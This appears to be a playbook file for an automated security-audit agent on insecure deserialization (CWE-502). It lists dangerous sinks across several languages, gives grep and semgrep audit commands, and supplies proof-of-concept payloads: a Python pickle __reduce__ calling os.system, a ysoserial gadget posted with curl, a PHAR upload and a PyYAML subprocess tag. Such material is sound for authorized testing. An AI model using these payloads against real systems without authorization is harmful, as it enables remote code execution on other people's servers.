| name | deserialization |
| description | Hunt insecure deserialization (CWE-502) across Python pickle, Java ObjectInputStream / Jackson / SnakeYAML, .NET BinaryFormatter / DataContractJson, PHP unserialize, Ruby Marshal/YAML.load, and Node.js vm. Direct path to unauthenticated RCE. |
| metadata | {"subdomain":"web-exploitation","when_to_use":"insecure deserialization cwe-502 pickle jackson snakeyaml binaryformatter datacontractjson unserialize marshal yaml load node vm gadget chain"} |
Insecure Deserialization Playbook
Deserialization is the single most reliable path from a byte string under
user control to unauthenticated remote code execution. Modern frameworks
have tried to wall this off, but chained-gadget attacks (ysoserial,
ysoserial.net, marshalsec, phpggc) still make this a top-tier finding.
1. Sources (user-controlled data that becomes an object)
- HTTP body, cookie, header, query param
- Message queue payload (Kafka, RabbitMQ, SQS)
- File upload parsed as config
- WebSocket messages
- Inter-service RPC
2. Dangerous sinks by language
Python
pickle.loads / pickle.load / pickle.Unpickler
dill.loads, cloudpickle.loads, shelve.open
yaml.load() without Loader=SafeLoader
jsonpickle.decode
numpy.load(allow_pickle=True)
torch.load (loads pickled tensors → RCE)
joblib.load
marshal.loads
grep -rE 'pickle\.loads?\(|yaml\.load\([^)]*Loader=(FullLoader|Loader)?\)|torch\.load\(' /workspace/src
semgrep --config p/insecure-transport --config p/python /workspace/src -o /workspace/sem-deser.sarif
Java
ObjectInputStream.readObject
XMLDecoder.readObject
Jackson ObjectMapper with default typing + polymorphic types
SnakeYAML Yaml.load() (before 2.0) — RCE via !!javax.script.ScriptEngineManager
XStream without whitelist
Hessian, Kryo with registration disabled
Gadgets: ysoserial payloads (CommonsCollections, Spring, Groovy, C3P0)
.NET
BinaryFormatter.Deserialize (deprecated but still common)
SoapFormatter, LosFormatter, ObjectStateFormatter
JavaScriptSerializer with SimpleTypeResolver
Json.NET with TypeNameHandling != None
PHP
unserialize() on any user input
- PHAR uploads —
file_exists("phar://upload.phar") triggers deser
- Laravel
decrypt() → unserialize (pre-patched APP_KEY leak chain)
Ruby
Marshal.load
YAML.load (before Psych 4 safe default)
Oj.load without mode: :rails
Node.js
node-serialize unserialize()
serialize-to-js deserialize()
vm.runInNewContext(userInput) — not technically deser but same impact
3. Gadget chain availability
A sink is only exploitable if the right gadget classes are on the classpath.
Check the lockfile / vendored deps for known gadget-rich libraries:
find /workspace/src -name 'pom.xml' -exec grep -lE 'commons-collections|spring-beans|xalan|bcel|commons-beanutils' {} +
grep -rE 'torch|numpy.*allow_pickle|jinja2' /workspace/src/requirements*.txt
jq '.dependencies | keys[]' /workspace/src/package.json | grep -E 'lodash|ejs|handlebars'
4. Taint audit workflow
- Identify every source (HTTP body/cookie/header handlers).
- Trace the data through:
- Explicit
.loads/.readObject/unserialize calls
- Framework magic (Spring
@RequestBody with default typing)
- File uploads parsed as config
- For each confirmed source-to-sink path, check gadget availability on
the classpath.
- Record as graph vulnerability node. If no gadgets are currently
available, mark
exploitability="conditional" — the dep upgrade that
ships the gadget class is a time bomb.
5. PoC templates
Python pickle (direct)
import pickle, base64, os
class E:
def __reduce__(self): return (os.system, ("id > /tmp/pwn",))
print(base64.b64encode(pickle.dumps(E())).decode())
Send as cookie/body; success = /tmp/pwn present or command output reflected.
Java ysoserial
java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwn' | base64 -w0
curl -X POST https://target.com/api/import -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.set
PHP PHAR
php -d phar.readonly=0 build-phar.php
curl -F 'file=@evil.phar' https://target.com/upload
YAML (PyYAML < safe default)
!!python/object/new:subprocess.check_output [["id"]]
6. Default CVSS
All unauthenticated deser → RCE are 10.0 critical:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Authenticated deser: drop PR to L → 9.9.
7. Validation contract
validate_finding(
vuln_id=...,
poc_command="curl -X POST https://target.com/api/import --data-binary @payload.bin",
success_patterns="uid=0|root@|pwned|/tmp/pwn",
negative_command="curl -X POST https://target.com/api/import --data 'benign'",
negative_patterns="200|accepted",
cvss_vector="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
)